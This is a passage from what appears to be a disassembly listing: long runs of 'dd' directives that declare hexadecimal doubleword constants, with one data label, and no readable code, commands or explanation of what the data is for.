		dd 79A9D9B7h, 0D9A63A5Ch, 920BE909h, 15F8F022h,	0E895C894h
		dd 0EEFE019Fh, 0AAD54B3Dh, 0B01AA38h, 3AAE9CBh,	908E9675h
		dd 406C4A24h, 0C86EAE5Eh, 0F5E3497Dh, 0EBEFE78Fh, 376151B2h
		dd 0C80F006Fh, 42E32768h, 63959BD1h, 24F85E83h,	60E3FC5Eh
		dd 0E5A5F8EEh, 0BFF097FDh, 2E0E120h, 68D830ACh,	98D718B1h
		dd 9E8A5532h, 0C28249C5h, 67578E4Bh, 0D93D0887h, 6B89581Dh
		dd 88845E73h, 7825F280h, 2A024D14h, 75B0F2D3h, 0CAF67B5Bh
		dd 27A0EC4Ch, 0F0E72C59h, 0DC225F6h, 7C139768h,	57146247h
		dd 6B10D8ADh, 0E033166h, 0CA31D129h, 3F590959h,	136E7388h
		dd 0EC3DDC64h, 55C3187Eh, 0BE675C4Dh, 0C244CF63h, 0E442D850h
		dd 9B307024h, 0DE0F50Ch, 3BEE4C01h, 1451584h, 5C17684Bh
		dd 89A17755h, 97F3F281h, 0F5663F0Ch, 0B0643CD9h, 0BF8318E9h
		dd 0D7208394h, 0D2F8BD68h, 75BF5410h, 0BE0DC235h, 9673C314h
		dd 0BE21E0F6h, 1946E90Ch, 68F00A31h, 6BA242ABh,	793802FDh
		dd 81FD0BE5h, 414968C1h, 4D1A44DAh, 0A95E2C3Eh,	8BEBE4DCh
		dd 0FE1D1063h, 5E7CCE79h, 0AE58C165h, 4006288Ch, 0C5900496h
		dd 322CD03Ah, 648F798Bh, 0A6C505EAh, 0E19B2904h, 7C8CF9CBh
		dd 3F9340ADh, 3F8CDD82h, 7E4FF6BEh, 98B4D021h, 29258104h
		dd 85EB3852h, 3604D030h, 29F25EDEh, 2F50D589h, 2D1C9C97h
		dd 53510568h, 9AC4E985h, 0E553A44Fh, 0B5673FFBh, 225EBBB0h
		dd 0A93454E9h, 49D32468h, 0BF57601Bh, 0EE2C1E6Fh, 3193427Ch
		dd 3E8DF10h, 71543AF5h,	15EA829h, 0BB2ECFC5h, 814D23C0h
		dd 6C034EF7h, 0A5E93C77h, 0B3CF4153h, 0D404943Eh, 1F2CFA49h
		dd 0DCB4029h, 916CB00Ch, 1240722Dh, 0BA618A15h,	80524805h
		dd 0BEF430EAh, 4F01D118h, 2119ED81h, 928061EBh,	3250099Dh
		dd 0E925FD31h, 0F89DC8A7h, 904C9F5Bh, 12A702BDh, 629056F1h
		dd 0DC0BC01Fh, 0B5325875h, 7DA25D82h, 53E14107h, 0D2FB3003h
		dd 4C9F53B8h, 5C1525E9h, 1820E266h, 281594DDh, 21420EC3h
		dd 42DE4E5Ah, 4F366665h, 726C0977h, 0E584505Fh,	0BD0151BBh
		dd 27FB560h, 0E968E857h, 987FE4E0h, 2F71FC5Ch, 49C0B6E6h
		dd 11C8805h, 0D0D76377h, 45EFEE04h, 2D5BA0Dh, 0EAF657FDh
		dd 0C18E79A7h, 3378F3E9h, 0F85D78DBh, 7EB713B7h, 0C7277DACh
		dd 91768558h, 1064EF58h, 531D635Bh, 79A1CC52h, 651E5079h
		dd 9A92237Eh, 8ECD9D52h, 0D0F68D51h, 1005E0E8h,	8389E9h
		dd 0B551F028h, 73F58044h, 5DCD3BA5h, 5338E505h,	25FCF8B3h
		dd 2FF9D0E0h, 83487795h, 0BE8073ECh, 132E7674h,	8F1012Ch
		dd 0E531973Bh, 0AC03E599h, 0DA4844EAh, 2975F59h, 93DE4ECh
		dd 0F9EE015Fh, 0F4FACF7Eh, 0E345271Ch, 7912FD25h, 0FA4B4285h
		dd 0AAFBEC31h, 0C1D6800h, 94296C97h, 20BE58F3h,	906E58BFh
		dd 0C2827C96h, 0AA5AFACFh, 0B6EEDB80h, 2F600B23h, 0BBC7860Ch
		dd 18D19DD0h, 7D786805h, 0EBCB36E8h, 0E804BB1Ah, 0B25200BDh
		dd 7BC280DCh, 624A3793h, 1A5AF4A9h, 0E6DB5D38h,	0AFFC211Eh
		dd 2FDF6C34h, 78FB5456h, 924D442Fh, 0E3C10C2Dh,	8084B07h
		dd 34D3F72Ch, 2E20C83Eh, 0B71FE36Bh, 2975A404h,	840AEACh
		dd 918A955Ah, 7FAA092Ch, 7A989C94h, 4D512604h, 2D86E908h
		dd 3E09D77h, 8880A0C5h,	105B66DCh, 0EF07439Dh, 6E826D32h
		dd 1CD4CCB4h, 0DDB95E8h
		dd 0B158F2E7h, 0F1EDC655h, 10ACB27Eh, 55253CCFh, 2AD7B47h
		dd 55C039E7h, 18420FEEh, 0AB47AC35h, 4BFF1585h,	8BE85E45h
		dd 351F5BEBh, 0CB960274h, 4DD4DC01h, 10307EECh,	0FD1A17A2h
		dd 8B47AF11h, 709218CDh, 61C1F571h, 7D7F2F7h, 93E0BA0Ch
		dd 90EB01FBh, 0BC435B2Eh, 1A47D337h, 0A29F6DFDh, 48A451E9h
		dd 270AFA09h, 8D541C64h, 8716C000h, 2DCF0971h, 45560C8Bh
		dd 70C478DAh, 4295268Dh, 12E7475Ch, 81DDA4BAh, 71F5E9C4h
		dd 0B5787324h, 8590ECD0h, 305D5C97h, 0D403CE0Ch, 50A5194Ch
		dd 791F8C1Dh, 0F2800C3Bh, 2E3A6036h, 7ADD2DE9h,	13298F46h
		dd 5D25F744h, 0DF6B148Fh, 2A857CC3h, 0A5AB001h,	0C061814h
		dd 98970803h, 42201378h, 0C4389071h, 47B4518h, 5906F0C3h
		dd 794011A0h, 1681409Dh, 62BB7340h, 0BF0F3878h,	2AB4F02h
		dd 9E02C4F5h, 6F6D03D4h, 0AC40287Ch, 10906210h,	2E02EFB1h
		dd 84EC0F2Dh, 39DF7008h, 0F908F898h, 884E8063h,	23920C6h
		dd 81A66208h, 4C02ED6Bh, 0A54103E5h, 0FD16966h,	6ABC31B9h
		dd 1DB6930h, 3D015CE9h,	67120157h, 42BC208Ch, 82633008h
		dd 19582D18h, 2997EF08h, 0AE088851h, 0E2920CA8h, 8C69061h
		dd 2040388Fh, 20314C22h, 0D3401076h, 8CEA4F01h,	186DA308h
		dd 0D231C447h, 96E0CE6h, 183D6237h, 53038FC4h, 5C101083h
		dd 22C81087h, 8263418h,	18C67AC1h, 31084B74h, 58185F78h
		dd 41089C47h, 0F3F03160h, 8DBEE620h, 187AE108h,	4298A5DEh
		dd 9174C044h, 20D92C0Fh, 0BBBC51B0h, 183F010Fh,	49E00899h
		dd 2AF051EAh, 908888Eh,	52020C74h, 0CD806189h, 92AD8066h
		dd 0F49908CAh, 0EA81AC99h, 6FD4C457h, 9321B804h, 79312318h
		dd 5C972872h, 19DD401h,	6F2E976h, 5F2008A4h, 6CC12ABDh
		dd 0F9C46490h, 0B40D0AB1h, 0C68F688h, 0E08104Eh, 6264EC49h
		dd 2DA9AE1h, 0A802A9F8h, 2E4403E7h, 0A9642031h,	60772B7h
		dd 2F5420E3h, 9E62ECFCh, 30E9608h, 2077BC79h, 36B8F254h
		dd 150A21C8h, 8C10BCA9h, 80E31095h, 184D2D18h, 8C46EEDh
		dd 0AA065277h, 0A8887934h, 0C880768Bh, 3D6080BBh, 0CC51F781h
		dd 108877E1h, 2A3ACB87h, 3F9F8F6h, 0BB6119BCh, 5144280Bh
		dd 1389794h, 1093F1BAh,	3D2049B2h, 0F9FE5023h, 94E20810h
		dd 24C01610h, 468CEC6Fh, 621C0809h, 5F8B18DCh, 10657103h
		dd 10037A10h, 3A15841Fh, 7E20D8D2h, 44CFFA20h, 8F40B12Bh
		dd 99F74053h, 8BF8EB54h, 87999C8h, 220854D1h, 37710C63h
		dd 5580D889h, 20E58096h, 99B508C5h, 0FC9C9C42h,	4CA464E8h
		dd 0AD1AF45Fh, 68D0BF47h, 1044C533h, 752CE03Bh,	8986CC02h
		dd 0A76FB90Eh, 105403Dh, 1408F44h, 75C90B49h, 3A748BF7h
		dd 3DE1F01h, 477FB9F0h,	80C033ECh, 304FB10Fh, 82932CD3h
		dd 0BB35CC25h, 0ED2FC88Bh, 0E942CFFBh, 1D3578D6h, 0ECF7464Eh
		dd 4FF50577h, 11C0BBBEh, 4B1C31B1h, 7318C018h, 5D4B677Ch
		dd 0B20685F9h, 1C21D672h, 2D916C58h, 2754FCEAh,	4B54D902h
		dd 0AA04DA72h, 81732658h, 2441C180h, 0BF570205h, 62B93451h
		dd 0EACCE055h, 5932C038h, 0F6B8B252h, 0DA7DD272h, 1AEC6931h
		dd 0C8C089B1h, 53595A66h, 742FBE5Dh, 9396B94Bh,	43290AAh
		dd 8201F780h, 0E967B450h, 0BE452E28h, 0EA1071A6h, 45E90C23h
		dd 9C167E3h, 29394C7Fh,	0C536277h, 2F66DC08h, 0EA769250h
		dd 0A70B5A1Fh, 55BBA072h, 0C28DE951h, 5D366853h, 43CCF79h
		dd 67539FFh, 8786C6ADh,	2D0526F3h, 7E766D89h, 8105DFC2h
		dd 0DA75E907h, 64BB2287h, 0FC62251Ah, 76932E33h, 820C1F18h
		dd 51C52E65h, 0B6CD02F5h, 0A5D8067Eh, 0F240482Eh, 0E72ED07h
		dd 7EBC1C1h, 59F3482h, 150033A4h, 5B50BDBh, 7CE9D831h
		dd 0E386410Ch, 7EF6463Fh, 18AC1DE0h, 3201523Dh,	0FD1D1990h
		dd 4654E9F7h, 178192C0h, 0B6502688h, 0A3C7BC6h,	565B4527h
		dd 0F1111C3h, 0C93567C7h, 255B56D3h, 0CBA4015Dh, 70BC6015h
		dd 82575D1Dh, 28CFE932h, 0B082C2FEh, 876F2254h,	5FF1CB65h
		dd 0F6063C5h, 0D24895FBh, 0C597E79Ah, 0DC2015h,	73E23A2h
		dd 946E31BEh, 55E0155Bh, 0C63654A1h, 0FFF33172h, 0EC1CEA92h
		dd 309D5D24h, 2F44E488h, 74C054A0h, 0F8F109F5h,	9334E931h
		dd 0F6BBE41Ch, 0AFE8D3B3h, 567B68A0h, 3F0611D7h, 0B54A4AB5h
		dd 0FDEB17A2h, 41505802h, 0D206E69Fh, 50049DCh,	4D4E0FBAh
		dd 106412E9h, 0A2CABB01h, 5C765C2Dh, 10CE0E1h, 5C3C2832h
		dd 6723CB9Eh, 0C904F79h, 6B7FF144h, 6A4470EBh, 0A3C10124h
		dd 680BB410h, 0E5667637h, 0E1719C2Ah, 0E70CCECh, 49485C97h
		dd 78125CFAh, 120B944Ch, 0A019D97Ch, 0E95F0C0Ch, 0D97364E7h
		dd 0D685B0Bh, 92B2FD33h, 0C4F73291h, 376D229h, 3B19CF05h
		dd 9800614Dh, 715F7FDCh, 4FAD27E9h, 1C019F13h, 519D4B7Dh
		dd 0BA879BFh, 543E6E0Dh, 3E6C34Eh, 0BD0734AFh, 6CED0857h
		dd 5A3217A3h, 5E6AF022h, 4941569Dh, 7B34BA5Fh, 20380EDBh
		dd 0BED9271Ch, 0C9FCF688h, 9E00C458h, 426C110Dh, 4A4819E9h
		dd 9864AF01h, 0FAC344BBh, 0FF8AFE1Ah, 8806387Ch, 3C69EB4Bh
		dd 3B6D442Fh, 53DDBE75h, 325AB92Fh, 555CA1A6h, 0A3579907h
		dd 323BDF1Dh, 7EE2265Ah, 0E0F358ADh, 0B8EE27F0h, 0D030EF78h
		dd 0D1BABA19h, 6A1B2475h, 0DCF18B3h, 146BAFE9h,	0C2E763Ch
		dd 0CDA1ADBBh, 0C637595Fh, 0DC77D3E2h, 56841B1h, 0C65B3C45h
		dd 0B710ACB9h, 0B103D17Bh, 90C28093h, 2AE9CA28h, 6BC5073Ch
		dd 400D73Bh, 132F56C6h,	0B87CF898h, 539B4516h, 55F64DE1h
		dd 0FDF20878h, 0D7A16092h, 3C50ED14h, 472D03F3h, 0C67FCC1Fh
		dd 0C2212AF6h, 3084908Fh, 5C0E4142h, 0E34ED15Dh, 21242FB2h
		dd 935567DAh, 6301A65Bh, 263350C6h, 0C1F35D3Fh,	0EC2F010Ah
		dd 6CD8CBACh, 49E91259h, 0D13343Ah, 6A2C9E99h, 25984CE3h
		dd 0F78080EDh, 26D790D1h, 42AAC4E6h, 580BA828h,	34B03848h
		dd 80A1AA58h, 0C04B7C4Eh, 79DF0655h, 75E69229h,	67DDA5Dh
		dd 12680F01h, 728C2A1Dh, 4C727FE8h, 0B5810E33h,	905141Ch
		dd 0A02C731h, 0EB080429h, 3C8B1644h, 0C2C6A3EAh, 0D6FB46E9h
		dd 885261B9h, 20F4C9FEh, 66D6635Fh, 0BD553970h,	0D9331FBBh
		dd 5CE5012Bh, 2B1F857Fh, 0E4ED4E80h, 0F47E25CCh, 0DFE59A5Fh
		dd 66FC86A2h, 7094D50Bh, 0F56974B1h, 0A7B940B0h, 98462A3Fh
		dd 310BA3BBh, 4D3890CBh, 1E4F4A1Bh, 61331755h, 2E655D38h
		dd 0E9820FF2h, 3E4A6AA4h, 869FA3FFh, 0AC1212D0h, 35DE0852h
		dd 0D2042917h, 550AB312h, 93510DF9h, 0F9603B0Eh, 279D7BE1h
		dd 49F12909h, 694AE962h, 0F66F5F56h, 45B24FB5h,	3BFA7E10h
		dd 0D22A6D80h, 86E8C3D9h, 0D5F635EBh, 0BF22EA08h, 98700E1Ch
		dd 806CDEB8h, 0D19F5A59h, 85E9E196h, 46629244h,	50FB6E04h
		dd 293D6802h, 325D4655h, 0A51BC905h, 4ED64C4Ah,	68370BDBh
		dd 7B304347h, 47C65741h, 35837DC5h, 0ADA9D311h,	0A8358793h
		dd 0E92ADDE0h, 0FAABA6Fh, 494BF4BFh, 0CFD0145h,	0F7BE3BCEh
		dd 184CD758h, 0C028DC76h, 0F60702E8h, 8AB2CD8h,	3C4485D5h
		dd 7E3BCEEBh, 1CAE6A34h, 0E92F3CAAh, 6A50EF30h,	266F30B9h
		dd 67253D3h, 386E6AECh,	5F95C91Fh, 0C10020DFh, 77112CEFh
		dd 1A0E2DE9h, 80E1325Ch, 0EACC7CF2h, 29682DE4h,	0B482A951h
		dd 83B252F4h, 85C6ECFEh, 4C756DF8h, 8601BE5Ah, 0F601244Ch
		dd 0C90647D1h, 20754D9h
		dd 347CE4C0h, 0EB41FBD7h, 58003451h, 414B6A68h,	0AA8BBF8h
		dd 0FC5ADCA9h, 2F4C37EEh, 7E013BBFh, 0F029023Ah, 6427769Dh
		dd 9748F90Ch, 0E9C25FECh, 7E83655h, 0B90451F0h,	67A94845h
		dd 0F02E85AFh, 29A45888h, 0C0DAE912h, 0D6ABCC52h, 3093C1Eh
		dd 7487F390h, 0CB6763ECh, 665B200Ah, 51048E5Ah,	2BDB04FEh
		dd 1820DA58h, 870F7E98h, 6516B551h, 61884ED5h, 4EBCF4C7h
		dd 0E7FCE109h, 8A0EAC98h, 0E465330h, 1C520E5h, 2E6C125h
		dd 0AD26D9E9h, 0CA8563Dh, 130C192Bh, 5F9D1C12h,	419875D8h
		dd 48017E05h, 73CB5E94h, 46DC9E31h, 0E90B182Dh,	0F129AFC9h
		dd 4F8D88BEh, 0E43E158Dh, 0D72CBBDBh, 7D15AB55h, 60105F9Ah
		dd 52D000ACh, 0ED4020BAh, 0EAC1181Fh, 4A070604h, 438940E3h
		dd 4160D474h, 30FF5A2Ch, 0A2969F59h, 12EA712h, 8BB3A077h
		dd 0FC205B2Ah, 30FC96E8h, 64B32A63h, 0C35BD881h, 7FB2883Ch
		dd 32744830h, 26780AB9h, 105647B0h, 0AE5E3083h,	41447C98h
		dd 0C8E06F2Ah, 3C1F124Dh, 69F860h, 5D403548h, 9F76DC2h
		dd 0F95CE9D8h, 68E76B21h, 17633948h, 44B279B4h,	12C5AE64h
		dd 6C3881AFh, 401F05C2h, 2A21FCC9h, 0F30E347Bh,	14A95Bh
		dd 3963BA05h, 59EBEA26h, 0F500862Fh, 7622616Dh,	5D02E829h
		dd 279B725h, 0DF97C05Eh, 0BFBB48FDh, 2240B10h, 945AE3BAh
		dd 0A1F0E069h, 0B11EC1Dh, 4A03E2C1h, 9A658382h,	88C5B301h
		dd 0E7B6EF41h, 575BC12Ah, 18C83624h, 52880DCDh,	4FA0D68h
		dd 0DCB85CCBh, 382F02EEh, 0F11A7664h, 0EBF67109h, 0F921079Ch
		dd 5ABF9673h, 89E0A90Eh, 6BE4F65Eh, 0FB0F8BDDh,	5D712FD0h
		dd 20F8B880h, 68B97152h, 0A10BFCh, 738D15BBh, 0E98C129h
		dd 0F2D760Fh, 1DF6C005h, 0BA54AE28h, 0EC102EEAh, 5EF109FBh
		dd 71BF4416h, 97A489ABh, 0FFCDB820h, 350E87Eh, 0F9ECFBCCh
		dd 22685B58h, 0BB51E285h, 51FE18C3h, 41B96F21h,	9CAA5D13h
		dd 93A08348h, 34A6268h,	0FAA6A631h, 0FD72BE00h,	5CC09A5Bh
		dd 6DD90925h, 646BE38h,	0E91A6108h, 7736F491h, 0F8089C24h
		dd 0B7C30353h, 7623F4Ah, 8BA7C40Ch, 0ADCBC08Eh,	575CF74Ch
		dd 3A0804B8h, 0D0FA5C02h, 31AAC58Eh, 0E94E49EEh, 58BD0FEBh
		dd 62FDE280h, 0CAEC322Bh, 506A520Bh, 341B5D0Ch,	96EA3FFAh
		dd 6F55BC41h, 7834A9CDh, 25179EE0h, 0F95B8B56h,	6FA7E0A8h
		dd 0A73E88D3h, 8B9DF49Ah, 875DFD89h, 3FC35F36h,	7472503Ch
		dd 84F54104h, 0C4259A9Eh, 0FFA083BFh, 94B0348h,	0D8467877h
		dd 64190152h, 0C3E9232Fh, 60B27F48h, 847AAC5Eh,	0FB17F5E6h
		dd 7C96EA2Dh, 3DFD369Ah, 0C3E353F6h, 0E5B5AD85h, 72075A82h
		dd 37F20FA0h, 0F9047E3Eh, 0DF98BF5Fh, 280F6053h, 0DA885266h
		dd 16B47EE9h, 4911D4D0h, 2DD88610h, 6FF15129h, 167F0C29h
		dd 4071981Fh, 5548ADD3h, 3A7004F3h, 30C22B1Fh, 71BE0750h
		dd 0E333F9D1h, 97563020h, 83DADD8h, 0E3F5125Dh,	54836A37h
		dd 465F3F2Bh, 0B40BC85Eh, 0F4A07E4Ah, 0AC460FEh, 9EB0E9B5h
		dd 0CA51519Fh, 0B82004Eh, 0E5C12B4Ch, 6DE9030Ah, 0EF9DAF37h
		dd 6BECB2FDh, 5B92811h,	0FDC1E59h, 0C4ABDE9Bh, 8C0E302Bh
		dd 0FD88975Fh, 374858B8h, 0F1521C42h, 6B33F5F4h, 383D7CF9h
		dd 24E59713h, 5633723Bh, 0A450C57Fh, 0F28B696Ch, 50293177h
		dd 9D7334BEh, 7F51C500h, 582832CFh, 5E500635h, 8E40D8B7h
		dd 1D4703B9h, 0D9F7392Ch, 801EC6E1h, 136F3819h,	0B5CB290Ah
		dd 0D52A1216h, 68786242h, 86CC3E5Ah, 15650239h,	0F5B9E96Ah
		dd 0D96366DEh, 0BD2A009Ch, 670A5319h, 4D24E4BBh, 0EC083826h
		dd 7F472803h, 0D82824B3h, 80569345h, 3027B599h,	0C3E0EC5Ah
		dd 0A1187B32h, 0B7E4523Ch, 81FF9640h, 338A2C59h, 0A7AEF158h
		dd 95F4D82Bh, 0DB315B41h, 0DB80C7ECh, 0F6258164h, 59540054h
		dd 9D15B753h, 0E913DBF8h, 3332A4A3h, 2247D758h,	5AC0D6A5h
		dd 4BE2D957h, 97EA945Dh, 0E902BED1h, 7A013126h,	2F41A09Eh
		dd 14F62D75h, 2508B7A8h, 0DA167D53h, 9D959DA4h,	9604042Bh
		dd 9BE3BB5Eh, 76FC316Bh, 86D561C5h, 1146CBEFh, 0C3162348h
		dd 0B482EC58h, 35E11827h, 90E3D52Ch, 0D341EDE9h, 230D4758h
		dd 0BF15701Eh, 8604191Dh, 5DEF311Ch, 0D4177DBDh, 7F53D003h
		dd 544BCB11h, 0D0B760AAh, 0C9B25714h, 8938D30Fh, 4CCE8022h
		dd 0C017A64Fh, 50A02724h, 765AE980h, 0C230FA04h, 90F227C2h
		dd 3D4E16C1h, 0F9926EE3h, 5C61AAF6h, 0BC144C64h, 3DD716ACh
		dd 5EF285ACh, 4820E36Eh, 74B8A1FAh, 5324E43Ch, 0B255471Dh
		dd 0B9D2F8A9h, 72F9092Fh, 5C760024h, 8EBF2DA8h,	0D25D57A3h
		dd 0F95E736Ch, 0E90BB0CBh, 702B5B33h, 8D3923DFh, 0E4308519h
		dd 735E0FCEh, 45C0BF15h, 104EA82Ch, 0BF65FE4h, 68821443h
		dd 8EE608D5h, 83C6EB80h, 0C453D819h, 0F20147A2h, 61B60550h
		dd 8DB95F05h, 3F49DC86h, 6CBCCF04h, 5CC01DAFh, 7C591225h
		dd 1899861h, 314C2824h,	3455E9CFh, 0C70B803Ah, 30F8304Fh
		dd 3A6866D1h, 0F84F3A03h, 9401B570h, 0CDFE87B5h, 171BA846h
		dd 0BC3315Bh, 3520A21Bh, 7CB236A1h, 0CEB8501Fh,	974A0C2h
		dd 0BA9880C6h, 59A444DDh, 0D090EA04h, 582CE410h, 4168A1B2h
		dd 43E9AF50h, 0E350B405h, 2BEAF731h, 0BA070278h, 90E2605h
		dd 0E607C8A2h, 5B3FB008h, 41A61D49h, 894C6170h,	867EF0D3h
		dd 0F07928DBh, 0C131A374h, 1F178A0Ch, 10D87856h, 0BF0E7F8Bh
		dd 7E2B1893h, 0FE9C60C3h, 0B097EC4h, 0F5B02958h, 4E0FD416h
		dd 0C0365440h, 8029CCF2h, 0D7310942h, 41E2A0E9h, 66DB1FCAh
		dd 0DF4B702Eh, 8D9FCC82h, 0E1092672h, 6B797C96h, 5639F8F9h
		dd 0C254610Dh, 81E8ACA7h, 58A8EADAh, 8D423289h,	86858F22h
		dd 0FE36D829h, 0B87F263Fh, 11C21348h, 4A7E081Bh, 84F8A15Dh
		dd 54425E28h, 2B46A5AAh, 0D86B5B99h, 0A133E9F9h, 0B9F8BB74h
		dd 3F7CBFC0h, 0B2FBECC5h, 0E2558938h, 0C9831349h, 84C32D73h
		dd 0F5189DBBh, 0AB8554BFh, 0A050B7B2h, 74BE49ABh, 0CBEDCE1Ch
		dd 0D27C82C6h, 0EE301A05h, 67686891h, 44483224h, 0E144F552h
		dd 0CB014EC1h, 57BC64B3h, 362CED80h, 3269B8FCh,	0AF419321h
		dd 12984C7Dh, 8C5FBF68h, 545BD39Fh, 1833DE30h, 4F7B2FFFh
		dd 0C224A2F0h, 0FB17FFB0h, 1322D508h, 13ECEC31h, 75AFDF2Bh
		dd 0E34C9725h, 85224BF8h, 0B70906Dh, 0ADFA31D5h, 61962ED7h
		dd 0BC186FC2h, 212A1F21h, 89CF071Bh, 8F5FFE97h,	0BC0D4A82h
		dd 78845D96h, 5F898BFBh, 56CE2DB8h, 891614C7h, 0FF4166D4h
		dd 0B2382477h, 16009351h, 0B6625468h, 0E3295216h, 124A7BF1h
		dd 8AAA50C5h, 11E908BDh, 685F029Bh, 86A31484h, 7112AE98h
		dd 0C6333F5Ch, 2A73C851h, 2195C48h, 5474C84h, 6EE8FC30h
		dd 0C2E6B5A7h, 66779A8Dh, 0B470B7FFh, 3CC66A1h,	0F810C8BFh
		dd 0B4E89D5Ch, 1B733FCBh, 0E9434804h, 0D1B95BE1h, 0F12EAD3h
		dd 0E9D2DCADh, 9EB4C505h, 3EBB20EBh, 74988707h,	0E284A84Ah
		dd 125DCABEh, 7BB48B7Bh, 0DD03053Ah, 0EEC2316Ah, 355EAF04h
		dd 789A95D1h, 0A344AE15h, 0E6F9F766h, 63FC505h,	8BCBFB13h
		dd 0BF665C12h, 56504407h, 5AC0BE61h, 0D208E3EAh, 0F0D940F4h
		dd 3374975Eh, 0EB737B0Fh, 0B381FF31h, 0A514F1E9h, 0EF14B0BCh
		dd 9917D510h, 3F940211h, 367A95E1h, 0C2F507A1h,	694F6098h
		dd 0B3E3A1EAh, 2C6830BBh, 9E16C73Eh, 0B3D757B1h, 4A2B160Ch
		dd 0F3E262D0h, 15353069h
dword_4EEDE0	dd 0E94202CAh, 65F9DF30h, 0B85A34EFh, 82FEC07Ah, 0E912C13Fh
		dd 1F0E9D5Ah, 42E5DF52h, 0ACB7F286h, 0F2F9B5CFh, 140FE308h
		dd 0BE039657h, 5D310D0Eh, 812DFBE9h, 629FEB6Fh,	0F7EDD164h
		dd 801B3968h, 278226EFh, 73209F6Ch, 0FA50BFA4h,	0ECFDEB0h
		dd 0DE8EA951h, 0C01A2DF4h, 0A077D162h, 0B3535142h, 1AB10A7Ch
		dd 0CFBFD928h, 8023C2DEh, 9D768C1h, 9FBC8421h, 53CBB1Eh
		dd 44E23812h, 0D81A83AAh, 3E287866h, 0C437B1FEh, 0B865EFE8h
		dd 0A26A7EB1h, 37C6C022h, 0A165692Ch, 0FC4209F4h, 0D44C5D55h
		dd 8F71E7B9h, 0D2677FFEh, 0BDC746AFh, 0E925956Eh, 0EB0F487Dh
		dd 3DBE9E5Dh, 0E7EF6CBDh, 0C2BD3EEAh, 17F90F1Fh, 84453CBh
		dd 0BB1CEDA9h, 0C3045C28h, 107A1853h, 3B5A0983h, 799AC559h
		dd 6060862Dh, 0F9973CBEh, 0AA1049CFh, 6649DC68h, 12011A65h
		dd 48C44036h, 61E81E2Dh, 0C449EF5Ah, 97B82B59h,	0E161EAE4h
		dd 2D005B18h, 0C43D6426h, 3A72162Ah, 84C133B3h,	41400576h
		dd 6214BFF0h, 87588BE4h, 0ED422D23h, 2483D845h,	0BE5AC3E9h
		dd 241AA184h, 3C0AAC22h, 494F8EC5h, 0FEDC03Ah, 0B54B2E73h
		dd 8207A98Dh, 0F8552B18h, 1A63D585h, 3E91B1A4h,	56C98D80h
		dd 0A8355BD1h, 0B95101EEh, 2DEB376Ah, 8F205B25h, 90A61E44h
		dd 84D416FEh, 45A6FBF9h, 0AFF201C5h, 2DEC18DDh,	8E5C95F7h
		dd 0DF5DF25Bh, 8CA87AEEh, 0D6003D12h, 0E2F7814Ch, 0B0775C58h
		dd 9FB77038h, 0C9685Ch,	0ED668503h, 0C153774Ah,	0D3796366h
		dd 0A49A3065h, 4AADD449h, 0D94C28FEh, 707EAAE8h, 758DE304h
		dd 29817437h, 6800D18Fh, 18957E6Ah, 8A5181BCh, 9D52608h
		dd 3CF50D25h, 0A4987449h, 17EAE83Dh, 0EA29A9D9h, 997FD471h
		dd 0C7F12AA5h, 35945569h, 0F1D8E917h, 0C601BDA2h, 0EBB00142h
		dd 0CB627409h, 636C9E09h, 0FEE6000Ch, 456070Ah,	0C01DC505h
		dd 99AE024h, 350703B0h,	52020D32h, 0E5FACF50h, 0D0E2972Dh
		dd 13EC3F63h, 0D69001AAh, 0FDF4A1A2h, 47E960F2h, 0A2BB6A40h
		dd 3822805Ah, 0BC55983Ch, 1102676h, 2E75123Eh, 58843F01h
		dd 22EB0813h, 0C5DF5D92h, 0BC620AC6h, 0F9E2818Ah, 705B8A2Ah
		dd 1C26480Ah, 0C70A8713h, 0E4003BCFh, 0BF07613Dh, 75190D7Eh
		dd 6B803102h, 0A8EB63D0h, 9886B06Dh, 11142448h,	82005BDCh
		dd 0D43B5768h, 4E0AE917h, 0EC5B25A5h, 7FCBB1F2h, 68002072h
		dd 2567162Bh, 0E0763018h, 0B1866EAh, 6F7476FFh,	1EA8824h
		dd 0FA568F8Ah, 57E587Fh, 0D51CB6E6h, 54FBD63h, 2FDD1998h
		dd 35439D1Dh, 0FD293D72h, 4008AD10h, 0D7BC28C7h, 656F102Eh
		dd 7B91F33Eh, 0EAC8C588h, 7D58B759h, 0BE2692BCh, 72CEB542h
		dd 0A960FB7Ch, 0FD281FA1h, 0D709975Bh, 0F542B0DBh, 7A97D0F3h
		dd 0D5E2F521h, 19D9003Bh, 40BD2A21h, 5E55ED92h,	0FBAC5BC0h
		dd 7BBEB0A3h, 0B6314ACFh, 0B805882h, 0C5EA0FE9h, 6A41BB32h
		dd 0DF2720E6h, 657509C2h, 0F522C21Ch, 81AA5904h, 49F931E9h
		dd 15163040h, 50B7813h,	0D4031CBEh, 8A96115Bh, 44212743h
		dd 2832B099h, 0B418A6Ah, 4A4F080Fh, 123160A1h, 0A3946F25h
		dd 0BA080812h, 0D6BB3ECFh, 130B9FF2h, 5A360AD7h, 49289210h
		dd 2E0A50D7h, 4C06123Ah, 0AD830070h, 296FD72Ch,	4EE9D31Eh
		dd 0DAB826F0h, 0B3E272Ah, 109BA7Ch, 0B1B88CEh, 381BCC2Fh
		dd 0BB4E4547h, 0FCF8A329h, 1C279174h, 59EE8ADDh, 2D7C257Ah
		dd 58F45425h, 0A4254EBBh, 1D55C31h, 5D0E3BC9h, 0A01B380Ah
		dd 60BF7BB8h, 88C1A05Fh, 4313C257h, 44403FE9h, 532CDC24h
		dd 55F84886h, 6F62FC7Ah, 2131C02h, 3666814h, 643BB6D7h
		dd 0B076E6EEh, 310B5C0Ah, 0D68068C3h, 0DC6F951Ah, 0E9A0A759h
		dd 0AC10B1Eh, 1FD16866h, 0B100BB39h, 45F180EBh,	365AEEE9h
		dd 89894E94h, 2027FA27h, 23BDF2C0h, 33FC471Eh, 71CA958Ch
		dd 595B09F7h, 0B5201397h, 4E68574Ah, 64CC414Ah,	44135AD7h
		dd 94721FDAh, 0EDC4BAB5h, 3480CEFBh, 0A3FE74DEh, 0BBB89350h
		dd 681E80A5h, 0FDC4430Fh, 0AAA53829h, 6D368330h, 20A65234h
		dd 6A387ECFh, 20DFC81Bh, 5681715h, 0A2D9BD59h, 40BF0CEh
		dd 0E070C1B9h, 7F04BF4Eh, 50ADDEB2h, 113A9E09h,	0B5F84683h
		dd 58C24D12h, 0CB9F03B9h, 81FEFBA5h, 0F1BD024Bh, 9AED7FEAh
		dd 0A7A1E906h, 4DC70767h, 0B634E47Fh, 0DAB51788h, 84F25A34h
		dd 0EB86028Fh, 16F57912h, 4A09FC67h, 0EDF7301Eh, 7A01754Fh
		dd 63DFBE56h, 9F6C71C5h, 195CF84Ah, 5FA1D0E9h, 5BF485F2h
